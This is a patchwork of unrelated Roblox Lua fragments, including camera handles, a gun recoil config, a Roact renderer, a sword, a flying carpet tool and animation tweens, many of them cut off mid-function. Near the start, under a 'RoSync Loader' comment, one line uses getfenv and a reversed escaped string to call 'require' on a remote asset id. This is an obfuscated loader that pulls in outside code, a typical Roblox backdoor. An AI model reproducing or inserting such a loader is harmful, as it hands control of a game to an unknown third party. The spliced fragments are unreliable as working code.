CameraDepth, Visible end function Handles:BlacklistObstacle(Obstacle) if Obstacle then self.ObstacleBlacklistIndex[Obstacle] = true self.ObstacleBlacklist = Support.Keys(self.ObstacleBlacklistIndex) end end function Handles:UpdateHandle(Handle, SideUnitVector) local Camera = self.Camera -- Hide handles if not attached to an adornee if not self.Adornee then Handle.Visible = false return end -- Get adornee CFrame and size local AdorneeCFrame = self.IsAdorneeModel and self.Adornee:GetModelCFrame() or self.Adornee.CFrame local AdorneeSize = self.IsAdorneeModel and self.Adornee:GetModelSize() or self.Adornee.Size -- Calculate radius of adornee extents along axis local AdorneeRadius = (AdorneeSize * SideUnitVector / 2).magnitude local SideCFrame = AdorneeCFrame * CFrame.new(AdorneeRadius * SideUnitVector) local AdorneeViewportPoint, AdorneeCameraDepth = WorldToViewportPoint(Camera, SideCFrame.p) local StudWidth = 2 * math.tan(math.rad(Camera.FieldOfView) / 2) * AdorneeCameraDepth local StudsPerPixel = StudWidth / Camera.ViewportSize.X local HandlePadding = math.max(1, StudsPerPixel * 14) * (self.IsMouseAvailable and 1 or 1.6) local PaddedRadius = AdorneeRadius + 2 * HandlePadding -- Calculate CFrame of the handle's side local HandleCFrame = AdorneeCFrame * CFrame.new(PaddedRadius * SideUnitVector) local HandleNormal = (HandleCFrame.p - AdorneeCFrame.p).unit local HandleViewportPoint, HandleCameraDepth, HandleVisible = WorldToViewportPoint(Camera, HandleCFrame.p) -- Display handle if side is visible to the camera Handle.Visible = HandleVisible -- Calculate handle size (12 px, or at least 0.5 studs) local StudWidth = 2 * math.tan(math.rad(Camera.FieldOfView) / 2) * HandleCameraDepth local PixelsPerStud = Camera.ViewportSize.X / StudWidth local HandleSize = math.max(12, 0.5 * PixelsPerStud) * (self.IsMouseAvailable and 1 or 1.6) Handle.Size = UDim2.new(0, HandleSize, 0, HandleSize) -- Calculate where handles will appear on the screen Handle.Position = UDim2.new( 0, HandleViewportPoint.X, 0, HandleViewportPoint.Y ) -- Calculate where handles will appear in the world local HandlePlaneNormal = (Handle.Name == 'Top' or Handle.Name == 'Bottom') and AdorneeCFrame.LookVector or AdorneeCFrame.UpVector -- Save handle position local HandleState = self.HandleStates[Handle] or {} self.HandleStates[Handle] = HandleState HandleState.PlaneNormal = HandlePlaneNormal HandleState.HandleCFrame = HandleCFrame HandleState.HandleNormal = HandleNormal HandleState.AdorneeViewportPosition = AdorneeViewportPoint HandleState.HandleViewportPosition = HandleViewportPoint -- Hide handles if obscured by a non-blacklisted part local HandleRay = Camera:ViewportPointToRay(HandleViewportPoint.X, HandleViewportPoint.Y) local TargetRay = Ray.new(HandleRay.Origin, HandleRay.Direction * (HandleCameraDepth - 0.25)) local Target, TargetPoint = Workspace:FindPartOnRayWithIgnoreList(TargetRay, self.ObstacleBlacklist) if Target then Handle.ImageTransparency = 1 elseif Handle.ImageTransparency == 1 then Handle.ImageTransparency = 0.33 end end function Handles:Destroy() -- Pause updating self.Running = nil -- Clean up resources self.Maid:Destroy() end return Handles
--[[ Last synced 10/14/2020 09:38 || RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)
--I M P O R T A N T-- ------------------------------------------------------------------------ --Don't change any of this unless you know what you are doing. --This script is the blur affect but also the exit button script. ------------------------------------------------------------------------
local blur = game.Lighting.Blur local frame = script.Parent local close = script.Parent:WaitForChild("CloseButton") if frame.Visible == true then blur.Enabled = true end close.MouseButton1Click:Connect(function() frame.Visible = false blur.Enabled = true end)
--// Recoil Settings
gunrecoil = -0.6; -- How much the gun recoils backwards when not aiming camrecoil = 0.28; -- How much the camera flicks when not aiming AimGunRecoil = -0.5; -- How much the gun recoils backwards when aiming AimCamRecoil = 0.27; -- How much the camera flicks when aiming CamShake = 9; -- THIS IS NEW!!!! CONTROLS CAMERA SHAKE WHEN FIRING AimCamShake = 7; -- THIS IS ALSO NEW!!!! Kickback = 0.8; -- Upward gun rotation when not aiming AimKickback = 0.5; -- Upward gun rotation when aiming
-- NTG1D & Sallomy
local VehicleSeat = script.Parent VehicleSeat.Changed:connect(function(prop) if prop == "Occupant" then local humanoid = VehicleSeat.Occupant if humanoid then local player = game:GetService("Players"):GetPlayerFromCharacter(humanoid.Parent) if player then VehicleSeat:SetNetworkOwner(player) end else VehicleSeat:SetNetworkOwner(nil) end end end)
--[[[for i,v in pairs(game.ReplicatedStorage.Assets.WorldIDs:GetChildren()) do local Frame = script.Frame:Clone() Frame.TextLabel.Text = v.Name Frame.Parent = script.Parent.ScrollingFrame Frame.TP.MouseButton1Click:Connect(function() print("Teleporting to ",Frame.TextLabel.Text) game:GetService("TeleportService"):Teleport(v.Value) end) end]] --for i,v in pairs(game:GetService("CollectionService"):GetTagged("AdminTeleport")) do
for i,v in pairs(game.ReplicatedStorage.Events.Debug.AdminTeleportSpawns:InvokeServer()) do local Frame = script.Frame:Clone() Frame.TextLabel.Text = v Frame.Parent = script.Parent.ScrollingFrame Frame.TP.MouseButton1Click:Connect(function() --game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = v.CFrame * CFrame.new(0,3,0) game.ReplicatedStorage.Events.Debug.Teleport:FireServer(v) end) end
--- Emulates tabstops with spaces
function Util.EmulateTabstops(text, tabWidth) local result = "" for i = 1, #text do local char = text:sub(i, i) result = result .. (char == "\t" and string.rep(" ", tabWidth - #result % tabWidth) or char) end return result end return Util
-- Constants -- The distance that a spread is created from the look vector of the camera
local Spread_Distance_From_Camera = 10
-- Make the chat work when the top bar is off
module.ChatOnWithTopBarOff = false module.ScreenGuiDisplayOrder = 6 -- The DisplayOrder value for the ScreenGui containing the chat.
-- YellowTide's Easing Functions
local function Spring(t, b, c, d) t = t / d return (1 + (-2.72 ^ (-6.9 * t) * cos(-20.1061929829746759423869661986827850341796875 * t))) * c + b end local function SoftSpring(t, b, c, d) t = t / d return (1 + (-2.72 ^ (-7.5 * t) * cos(-10.05309649148733797119348309934139251708984375 * t))) * c + b end
-- unlocked
["Blue"] = {color = Color3.fromRGB(85, 170, 255), locked = true}, ["Grey"] = {color = Color3.fromRGB(120, 120, 120), locked = true}, ["Moss"] = {color = Color3.fromRGB(85, 85, 0), locked = true}, ["Pink"] = {color = Color3.fromRGB(255, 170, 255), locked = true}, ["Red"] = {color = Color3.fromRGB(112, 30, 30), locked = true}, ["Pure White"] = {color = Color3.fromRGB(255,255,255), locked = true}, }, } -- end of module return module
--!strict --[=[ @function every @within Dictionary @param dictionary {[K]: V} -- The dictionary to check. @param predicate (value: V, key: K, dictionary: {[K]: V}) -> any -- The predicate to use to check the dictionary. @return boolean -- Whether every item in the dictionary passes the predicate. Checks whether every item in the dictionary passes the predicate. ```lua local dictionary = { hello = "world", goodbye = "world" } local value = Every(dictionary, function(value, key) return value == "world" end) -- true local value = Every(dictionary, function(value, key) return value == "hello" end) -- false ``` ]=]
local function every<K, V>( dictionary: { [K]: V }, predicate: (value: V, key: K, dictionary: { [K]: V }) -> any ): boolean for key, value in pairs(dictionary) do if not predicate(value, key, dictionary) then return false end end return true end return every
--[[ Renderer that deals in terms of Roblox Instances. This is the most well-supported renderer after NoopRenderer and is currently the only renderer that does anything. ]]
local Binding = require(script.Parent.Binding) local Children = require(script.Parent.PropMarkers.Children) local ElementKind = require(script.Parent.ElementKind) local SingleEventManager = require(script.Parent.SingleEventManager) local getDefaultInstanceProperty = require(script.Parent.getDefaultInstanceProperty) local Ref = require(script.Parent.PropMarkers.Ref) local Type = require(script.Parent.Type) local internalAssert = require(script.Parent.internalAssert) local config = require(script.Parent.GlobalConfig).get() local applyPropsError = [[ Error applying props: %s In element: %s ]] local updatePropsError = [[ Error updating props: %s In element: %s ]] local function identity(...) return ... end local function applyRef(ref, newHostObject) if ref == nil then return end if typeof(ref) == "function" then ref(newHostObject) elseif Type.of(ref) == Type.Binding then Binding.update(ref, newHostObject) else -- TODO (#197): Better error message error(("Invalid ref: Expected type Binding but got %s"):format(typeof(ref))) end end local function setRobloxInstanceProperty(hostObject, key, newValue) if newValue == nil then local hostClass = hostObject.ClassName local _, defaultValue = getDefaultInstanceProperty(hostClass, key) newValue = defaultValue end -- Assign the new value to the object hostObject[key] = newValue return end local function removeBinding(virtualNode, key) local disconnect = virtualNode.bindings[key] disconnect() virtualNode.bindings[key] = nil end local function attachBinding(virtualNode, key, newBinding) local function updateBoundProperty(newValue) local success, errorMessage = xpcall(function() setRobloxInstanceProperty(virtualNode.hostObject, key, newValue) end, identity) if not success then local source = virtualNode.currentElement.source if source == nil then source = "<enable element tracebacks>" end local fullMessage = updatePropsError:format(errorMessage, source) error(fullMessage, 0) end end if virtualNode.bindings == nil then virtualNode.bindings = {} end virtualNode.bindings[key] = Binding.subscribe(newBinding, updateBoundProperty) updateBoundProperty(newBinding:getValue()) end local function detachAllBindings(virtualNode) if virtualNode.bindings ~= nil then for _, disconnect in pairs(virtualNode.bindings) do disconnect() end end end local function applyProp(virtualNode, key, newValue, oldValue) if newValue == oldValue then return end if key == Ref or key == Children then -- Refs and children are handled in a separate pass return end local internalKeyType = Type.of(key) if internalKeyType == Type.HostEvent or internalKeyType == Type.HostChangeEvent then if virtualNode.eventManager == nil then virtualNode.eventManager = SingleEventManager.new(virtualNode.hostObject) end local eventName = key.name if internalKeyType == Type.HostChangeEvent then virtualNode.eventManager:connectPropertyChange(eventName, newValue) else virtualNode.eventManager:connectEvent(eventName, newValue) end return end local newIsBinding = Type.of(newValue) == Type.Binding local oldIsBinding = Type.of(oldValue) == Type.Binding if oldIsBinding then removeBinding(virtualNode, key) end if newIsBinding then attachBinding(virtualNode, key, newValue) else setRobloxInstanceProperty(virtualNode.hostObject, key, newValue) end end local function applyProps(virtualNode, props) for propKey, value in pairs(props) do applyProp(virtualNode, propKey, value, nil) end end local function updateProps(virtualNode, oldProps, newProps) -- Apply props that were added or updated for propKey, newValue in pairs(newProps) do local oldValue = oldProps[propKey] applyProp(virtualNode, propKey, newValue, oldValue) end -- Clean up props that were removed for propKey, oldValue in pairs(oldProps) do local newValue = newProps[propKey] if newValue == nil then applyProp(virtualNode, propKey, nil, oldValue) end end end local RobloxRenderer = {} function RobloxRenderer.isHostObject(target) return typeof(target) == "Instance" end function RobloxRenderer.mountHostNode(reconciler, virtualNode) local element = virtualNode.currentElement local hostParent = virtualNode.hostParent local hostKey = virtualNode.hostKey if config.internalTypeChecks then internalAssert(ElementKind.of(element) == ElementKind.Host, "Element at given node is not a host Element") end if config.typeChecks then assert(element.props.Name == nil, "Name can not be specified as a prop to a host component in Roact.") assert(element.props.Parent == nil, "Parent can not be specified as a prop to a host component in Roact.") end local instance = Instance.new(element.component) virtualNode.hostObject = instance local success, errorMessage = xpcall(function() applyProps(virtualNode, element.props) end, identity) if not success then local source = element.source if source == nil then source = "<enable element tracebacks>" end local fullMessage = applyPropsError:format(errorMessage, source) error(fullMessage, 0) end instance.Name = tostring(hostKey) local children = element.props[Children] if children ~= nil then reconciler.updateVirtualNodeWithChildren(virtualNode, virtualNode.hostObject, children) end instance.Parent = hostParent virtualNode.hostObject = instance applyRef(element.props[Ref], instance) if virtualNode.eventManager ~= nil then virtualNode.eventManager:resume() end end function RobloxRenderer.unmountHostNode(reconciler, virtualNode) local element = virtualNode.currentElement applyRef(element.props[Ref], nil) for _, childNode in pairs(virtualNode.children) do reconciler.unmountVirtualNode(childNode) end detachAllBindings(virtualNode) virtualNode.hostObject:Destroy() end function RobloxRenderer.updateHostNode(reconciler, virtualNode, newElement) local oldProps = virtualNode.currentElement.props local newProps = newElement.props if virtualNode.eventManager ~= nil then virtualNode.eventManager:suspend() end -- If refs changed, detach the old ref and attach the new one if oldProps[Ref] ~= newProps[Ref] then applyRef(oldProps[Ref], nil) applyRef(newProps[Ref], virtualNode.hostObject) end local success, errorMessage = xpcall(function() updateProps(virtualNode, oldProps, newProps) end, identity) if not success then local source = newElement.source if source == nil then source = "<enable element tracebacks>" end local fullMessage = updatePropsError:format(errorMessage, source) error(fullMessage, 0) end local children = newElement.props[Children] if children ~= nil or oldProps[Children] ~= nil then reconciler.updateVirtualNodeWithChildren(virtualNode, virtualNode.hostObject, children) end if virtualNode.eventManager ~= nil then virtualNode.eventManager:resume() end return virtualNode end return RobloxRenderer
-------- OMG HAX
r = game:service("RunService") local damage = 9 local slash_damage = 16 sword = script.Parent.Handle Tool = script.Parent local SlashSound = Instance.new("Sound") SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav" SlashSound.Parent = sword SlashSound.Volume = 1 local UnsheathSound = Instance.new("Sound") UnsheathSound.SoundId = "http://www.roblox.com/asset/?id=14721229" UnsheathSound.Parent = sword UnsheathSound.Volume = 1 function blow(hit) local humanoid = hit.Parent:findFirstChild("Humanoid") local vCharacter = Tool.Parent local vPlayer = game.Players:playerFromCharacter(vCharacter) local hum = vCharacter:findFirstChild("Humanoid") -- non-nil if tool held by a character if humanoid~=nil and humanoid ~= hum and hum ~= nil then -- final check, make sure sword is in-hand local right_arm = vCharacter:FindFirstChild("Right Arm") if (right_arm ~= nil) then local joint = right_arm:FindFirstChild("RightGrip") if (joint ~= nil and (joint.Part0 == sword or joint.Part1 == sword)) then tagHumanoid(humanoid, vPlayer) humanoid:TakeDamage(damage) wait(1) untagHumanoid(humanoid) end end end end function tagHumanoid(humanoid, player) local creator_tag = Instance.new("ObjectValue") creator_tag.Value = player creator_tag.Name = "creator" creator_tag.Parent = humanoid end function untagHumanoid(humanoid) if humanoid ~= nil then local tag = humanoid:findFirstChild("creator") if tag ~= nil then tag.Parent = nil end end end function attack() damage = slash_damage SlashSound:play() local anim = Instance.new("StringValue") anim.Name = "toolanim" anim.Value = "Slash" anim.Parent = Tool end function swordUp() Tool.GripForward = Vector3.new(-1,0,0) Tool.GripRight = Vector3.new(0,1,0) Tool.GripUp = Vector3.new(0,0,1) end function swordOut() Tool.GripForward = Vector3.new(0,0,1) Tool.GripRight = Vector3.new(0,-1,0) Tool.GripUp = Vector3.new(-1,0,0) end Tool.Enabled = true function onActivated() if not Tool.Enabled then return end Tool.Enabled = false local character = Tool.Parent; local humanoid = character.Humanoid if humanoid == nil then print("Humanoid not found") return end attack() wait(1) Tool.Enabled = true end function onEquipped() UnsheathSound:play() end script.Parent.Activated:connect(onActivated) script.Parent.Equipped:connect(onEquipped) connection = sword.Touched:connect(blow)
--- FUNCTIONS ---
Projectile = function(Character, MousePosition) -- turn to cursor local Projectile = ServerStorage.Models.ManaBolt:Clone() Projectile.Parent = workspace.Debris Projectile.CFrame = Character["Mana Missile Staff"].Top.CFrame game.Debris:AddItem(Projectile, 10) local ProjectileVelocity = Instance.new("BodyVelocity") ProjectileVelocity.P = math.huge -- Shoot towards victim humanoidrootpart ProjectileVelocity.Velocity = (MousePosition - Projectile.CFrame.Position).unit * 100 ProjectileVelocity.Parent = Projectile local Connection Connection = Projectile.Hitbox.Touched:Connect(function(Hit) local HitCharacter = Hit.Parent if not HitCharacter then return end if HitCharacter:FindFirstChild("Humanoid") and HitCharacter ~= Character and HitCharacter.Parent == workspace.Enemies then Connection:Disconnect() HitCharacter.Humanoid:TakeDamage(25) Projectile.Hit:Play() Projectile.Bolt:Destroy() Projectile.ParticleEmitter:Destroy() Projectile.Anchored = true task.wait(1) Projectile:Destroy() elseif Hit.Anchored == true then Connection:Disconnect() Projectile.Hit:Play() Projectile.Bolt:Destroy() Projectile.ParticleEmitter:Destroy() Projectile.Anchored = true task.wait(1) Projectile:Destroy() end end) end
-- Configurar propriedades do Humanoid
humanoid.WalkSpeed = walkSpeed humanoid.JumpPower = jumpPower
-- print("Loading anims " .. name)
table.insert(animTable[name].connections, config.ChildAdded:Connect(function(child) configureAnimationSet(name, fileList) end)) table.insert(animTable[name].connections, config.ChildRemoved:Connect(function(child) configureAnimationSet(name, fileList) end)) local idx = 1 for _, childPart in pairs(config:GetChildren()) do if (childPart:IsA("Animation")) then table.insert(animTable[name].connections, childPart.Changed:Connect(function(property) configureAnimationSet(name, fileList) end)) animTable[name][idx] = {} animTable[name][idx].anim = childPart local weightObject = childPart:FindFirstChild("Weight") if (weightObject == nil) then animTable[name][idx].weight = 1 else animTable[name][idx].weight = weightObject.Value end animTable[name].count = animTable[name].count + 1 animTable[name].totalWeight = animTable[name].totalWeight + animTable[name][idx].weight -- print(name .. " [" .. idx .. "] " .. animTable[name][idx].anim.AnimationId .. " (" .. animTable[name][idx].weight .. ")") idx = idx + 1 end end end -- fallback to defaults if (animTable[name].count <= 0) then for idx, anim in pairs(fileList) do animTable[name][idx] = {} animTable[name][idx].anim = Instance.new("Animation") animTable[name][idx].anim.Name = name animTable[name][idx].anim.AnimationId = anim.id animTable[name][idx].weight = anim.weight animTable[name].count = animTable[name].count + 1 animTable[name].totalWeight = animTable[name].totalWeight + anim.weight
--Made by Luckymaxer
Tool = script.Parent Handle = Tool:WaitForChild("Handle") Players = game:GetService("Players") Debris = game:GetService("Debris") RemovalMonitor = script:WaitForChild("RemovalMonitor") CarpetPieces = { {MeshId = 223079795, Angle = 160}, {MeshId = 223079835, Angle = 100}, {MeshId = 223079888, Angle = 100}, {MeshId = 223079981, Angle = 160}, } CarpetSize = Vector3.new(3, 0.5, 6.5) BaseUrl = "http://www.roblox.com/asset/?id=" Rate = (1 / 10) BasePart = Instance.new("Part") BasePart.Material = Enum.Material.Plastic BasePart.Shape = Enum.PartType.Block BasePart.TopSurface = Enum.SurfaceType.Smooth BasePart.BottomSurface = Enum.SurfaceType.Smooth BasePart.FormFactor = Enum.FormFactor.Custom BasePart.Size = Vector3.new(0.2, 0.2, 0.2) BasePart.CanCollide = false BasePart.Locked = true ColorPart = BasePart:Clone() ColorPart.Name = "ColorPart" ColorPart.Reflectance = 0.25 ColorPart.Transparency = 0.1 ColorPart.Material = Enum.Material.SmoothPlastic ColorPart.FrontSurface = Enum.SurfaceType.SmoothNoOutlines ColorPart.BackSurface = Enum.SurfaceType.SmoothNoOutlines ColorPart.TopSurface = Enum.SurfaceType.SmoothNoOutlines ColorPart.BottomSurface = Enum.SurfaceType.SmoothNoOutlines ColorPart.LeftSurface = Enum.SurfaceType.SmoothNoOutlines ColorPart.RightSurface = Enum.SurfaceType.SmoothNoOutlines ColorPart.Size = Vector3.new(1, 1, 1) ColorPart.Anchored = true ColorPart.CanCollide = false ColorMesh = Instance.new("SpecialMesh") ColorMesh.Name = "Mesh" ColorMesh.MeshType = Enum.MeshType.FileMesh ColorMesh.MeshId = (BaseUrl .. "9856898") ColorMesh.TextureId = (BaseUrl .. "1361097") ColorMesh.Scale = (ColorPart.Size * 2) --Default mesh scale is 1/2 the size of a 1x1x1 brick. ColorMesh.Offset = Vector3.new(0, 0, 0) ColorMesh.VertexColor = Vector3.new(1, 1, 1) ColorMesh.Parent = ColorPart ColorLight = Instance.new("PointLight") ColorLight.Name = "Light" ColorLight.Brightness = 50 ColorLight.Range = 8 ColorLight.Shadows = false ColorLight.Enabled = true ColorLight.Parent = ColorPart RainbowColors = { Vector3.new(1, 0, 0), Vector3.new(1, 0.5, 0), Vector3.new(1, 1, 0), Vector3.new(0, 1, 0), Vector3.new(0, 1, 1), Vector3.new(0, 0, 1), Vector3.new(0.5, 0, 1) } Animations = { Sit = {Animation = Tool:WaitForChild("Sit"), FadeTime = nil, Weight = nil, Speed = nil, Duration = nil}, } Grips = { Normal = CFrame.new(-1.5, 0, 0, 0, 0, -1, -1, 8.90154915e-005, 0, 8.90154915e-005, 1, 0), Flying = CFrame.new(-1.5, 0.5, -0.75, -1, 0, -8.99756625e-009, -8.99756625e-009, 8.10000031e-008, 1, 7.28802977e-016, 0.99999994, -8.10000103e-008) } Flying = false ToolEquipped = false ServerControl = (Tool:FindFirstChild("ServerControl") or Instance.new("RemoteFunction")) ServerControl.Name = "ServerControl" ServerControl.Parent = Tool ClientControl = (Tool:FindFirstChild("ClientControl") or Instance.new("RemoteFunction")) ClientControl.Name = "ClientControl" ClientControl.Parent = Tool Handle.Transparency = 0 Tool.Grip = Grips.Normal Tool.Enabled = true function Clamp(Number, Min, Max) return math.max(math.min(Max, Number), Min) end function TransformModel(Objects, Center, NewCFrame, Recurse) local Objects = ((type(Objects) ~= "table" and {Objects}) or Objects) for i, v in pairs(Objects) do if v:IsA("BasePart") then v.CFrame = NewCFrame:toWorldSpace(Center:toObjectSpace(v.CFrame)) end if Recurse then TransformModel(v:GetChildren(), Center, NewCFrame, true) end end end function Weld(Parent, PrimaryPart) local Parts = {} local Welds = {} local function WeldModel(Parent, PrimaryPart) for i, v in pairs(Parent:GetChildren()) do if v:IsA("BasePart") then if v ~= PrimaryPart then local Weld = Instance.new("Weld") Weld.Name = "Weld" Weld.Part0 = PrimaryPart Weld.Part1 = v Weld.C0 = PrimaryPart.CFrame:inverse() Weld.C1 = v.CFrame:inverse() Weld.Parent = PrimaryPart table.insert(Welds, Weld) end table.insert(Parts, v) end WeldModel(v, PrimaryPart) end end WeldModel(Parent, PrimaryPart) return Parts, Welds end function CleanUp() for i, v in pairs(Tool:GetChildren()) do if v:IsA("BasePart") and v ~= Handle then v:Destroy() end end end function CreateRainbow(Length) local RainbowModel = Instance.new("Model") RainbowModel.Name = "RainbowPart" for i, v in pairs(RainbowColors) do local Part = ColorPart:Clone() Part.Name = "Part" Part.Size = Vector3.new(0.5, 0.5, Length) Part.CFrame = Part.CFrame * CFrame.new((Part.Size.X * (i - 1)), 0, 0) Part.Mesh.Scale = (Part.Size * 2) Part.Mesh.VertexColor = v Part.Light.Color = Color3.new(v.X, v.Y, v.Z) Part.Parent = RainbowModel end local RainbowBoundingBox = BasePart:Clone() RainbowBoundingBox.Name = "BoundingBox" RainbowBoundingBox.Transparency = 1 RainbowBoundingBox.Size = RainbowModel:GetModelSize() RainbowBoundingBox.Anchored = true RainbowBoundingBox.CanCollide = false RainbowBoundingBox.CFrame = RainbowModel:GetModelCFrame() RainbowBoundingBox.Parent = RainbowModel return RainbowModel end function GetRainbowModel() local ModelName = (Player.Name .. "'s Rainbow") local Model = game:GetService("Workspace"):FindFirstChild(ModelName) if not Model then Model = Instance.new("Model") Model.Name = ModelName local RemovalMonitorClone = RemovalMonitor:Clone() RemovalMonitorClone.Disabled = false RemovalMonitorClone.Parent = Model end return Model end function CheckIfAlive() return (((Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0 and Torso and Torso.Parent and Player and Player.Parent) and true) or false) end function Activated() if not Tool.Enabled then return end Tool.Enabled = false Flying = not Flying if Flying then Handle.Transparency = 1 CleanUp() local CarpetParts = {} for i, v in pairs(CarpetPieces) do local CarpetPart = BasePart:Clone() CarpetPart.Size = Vector3.new(CarpetSize.X, CarpetSize.Y, (CarpetSize.Z / #CarpetPieces)) local Mesh = Instance.new("SpecialMesh") Mesh.MeshType = Enum.MeshType.FileMesh Mesh.MeshId = (BaseUrl .. v.MeshId) Mesh.TextureId = (BaseUrl .. "223080038") Mesh.Scale = Vector3.new(1.125, 1.125, 1.125) Mesh.VertexColor = Vector3.new(1, 1, 1) Mesh.Offset = Vector3.new(0, 0, 0) Mesh.Parent = CarpetPart local Weld = Instance.new("Weld") Weld.Part0 = Handle Weld.Part1 = CarpetPart local XOffset = (((i == 1 or i == #CarpetPieces) and -0.005) or 0) local YOffset = ((-((Handle.Size.Z / 2) - (CarpetPart.Size.Z / 2))) + ((CarpetPart.Size.Z * (i - 1))) + ((i == 2 and 0.245) or (i == 3 and 0.04) or (i == #CarpetPieces and 0.28) or 0)) Weld.C1 = CFrame.new(0, XOffset, YOffset) Weld.Parent = CarpetPart table.insert(CarpetParts, {Part = CarpetPart, Weld = Weld, InitialCFrame = Weld.C0, Angle = v.Angle}) CarpetPart.Parent = Tool end spawn(function() InvokeClient("PlayAnimation", Animations.Sit) Tool.Grip = Grips.Flying end) Torso.Anchored = true delay(.2,function() Torso.Anchored = false Torso.Velocity = Vector3.new(0,0,0) Torso.RotVelocity = Vector3.new(0,0,0) end) FlightSpin = Instance.new("BodyGyro") FlightSpin.Name = "FlightSpin" FlightSpin.P = 10000 FlightSpin.maxTorque = Vector3.new(FlightSpin.P, FlightSpin.P, FlightSpin.P)*100 FlightSpin.cframe = Torso.CFrame FlightPower = Instance.new("BodyVelocity") FlightPower.Name = "FlightPower" FlightPower.velocity = Vector3.new(0, 0, 0) FlightPower.maxForce = Vector3.new(1,1,1)*1000000 FlightPower.P = 1000 FlightHold = Instance.new("BodyPosition") FlightHold.Name = "FlightHold" FlightHold.P = 100000 FlightHold.maxForce = Vector3.new(0, 0, 0) FlightHold.position = Torso.Position FlightSpin.Parent = Torso FlightPower.Parent = Torso FlightHold.Parent = Torso spawn(function() local LastPlace = nil while Flying and ToolEquipped and CheckIfAlive() do local CurrentPlace = Handle.Position local Velocity = Torso.Velocity Velocity = Vector3.new(Velocity.X, 0, Velocity.Z).magnitude if LastPlace and Velocity > 10 then spawn(function() local Model = GetRainbowModel() local Distance = (LastPlace - CurrentPlace).magnitude local Length = Distance + 3.5 local RainbowModel = CreateRainbow(Length) --Thanks so much to ArceusInator for helping solve this part! local RainbowCFrame = CFrame.new((LastPlace + (CurrentPlace - LastPlace).unit * (Distance / 2)), CurrentPlace) TransformModel(RainbowModel, RainbowModel:GetModelCFrame(), RainbowCFrame, true) Debris:AddItem(RainbowModel, 1) RainbowModel.Parent = Model if Model and not Model.Parent then Model.Parent = game:GetService("Workspace") end LastPlace = CurrentPlace end) elseif not LastPlace then LastPlace = CurrentPlace end wait(Rate) end end) elseif not Flying then Torso.Velocity = Vector3.new(0, 0, 0) Torso.RotVelocity = Vector3.new(0, 0, 0) for i, v in pairs({FlightSpin, FlightPower, FlightHold}) do if v and v.Parent then v:Destroy() end end spawn(function() Tool.Grip = Grips.Normal InvokeClient("StopAnimation", Animations.Sit) end) end wait(2) Tool.Enabled = true end function Equipped(Mouse) Character = Tool.Parent Humanoid = Character:FindFirstChild("Humanoid") Torso = Character:FindFirstChild("HumanoidRootPart") Player = Players:GetPlayerFromCharacter(Character) if not CheckIfAlive() then return end if Humanoid then if Humanoid.RigType == Enum.HumanoidRigType.R15 then Animations = { Sit = {Animation = Tool:WaitForChild("SitR15"), FadeTime = nil, Weight = nil, Speed = nil, Duration = nil}, } else Animations = { Sit = {Animation = Tool:WaitForChild("Sit"), FadeTime = nil, Weight = nil, Speed = nil, Duration = nil}, } end end Tool.Grip = Grips.Normal ToolEquipped = true end function Unequipped() Flying = false for i, v in pairs({FlightSpin, FlightPower, FlightHold}) do if v and v.Parent then v:Destroy() end end CleanUp() Handle.Transparency = 0 ToolEquipped = false end function OnServerInvoke(player, mode, value) if player ~= Player or not ToolEquipped or not value or not CheckIfAlive() then return end end function InvokeClient(Mode, Value) local ClientReturn = nil pcall(function() ClientReturn = ClientControl:InvokeClient(Player, Mode, Value) end) return ClientReturn end CleanUp() ServerControl.OnServerInvoke = OnServerInvoke Tool.Activated:connect(Activated) Tool.Equipped:connect(Equipped) Tool.Unequipped:connect(Unequipped)
--------LEFT DOOR --------
game.Workspace.doorleft.l12.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.doorleft.l22.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.doorleft.l32.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.doorleft.l42.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.doorleft.l52.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.doorleft.l62.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.doorleft.l72.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
--//Client Animations
IdleAnim = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).RightPos}):Play() -- require(script).FakeRightPos (For fake arms) | require(script).RightArmPos (For real arms) ts:Create(objs[3],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).LeftPos}):Play() -- require(script).FakeLeftPos (For fake arms) | require(script).LeftArmPos (For real arms) end; StanceDown = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.2,-0.05,-1.65) * CFrame.Angles(math.rad(-90),math.rad(35),math.rad(-25))}):Play() wait(0.3) end; StanceUp = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-.875, -1.85, -1.25) * CFrame.Angles(math.rad(-160), math.rad(0), math.rad(0))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(.8,-0.6,-1.15) * CFrame.Angles(math.rad(-170),math.rad(60),math.rad(15))}):Play() wait(0.3) end; Patrol = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.75, -.9, -1.6) * CFrame.Angles(math.rad(-80), math.rad(-70), math.rad(0))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(0.75,0.75,-1) * CFrame.Angles(math.rad(-90),math.rad(-45),math.rad(-25))}):Play() wait(0.3) end; SprintAnim = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.2,-0.05,-1.65) * CFrame.Angles(math.rad(-90),math.rad(35),math.rad(-25))}):Play() wait(0.3) end; EquipAnim = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play() 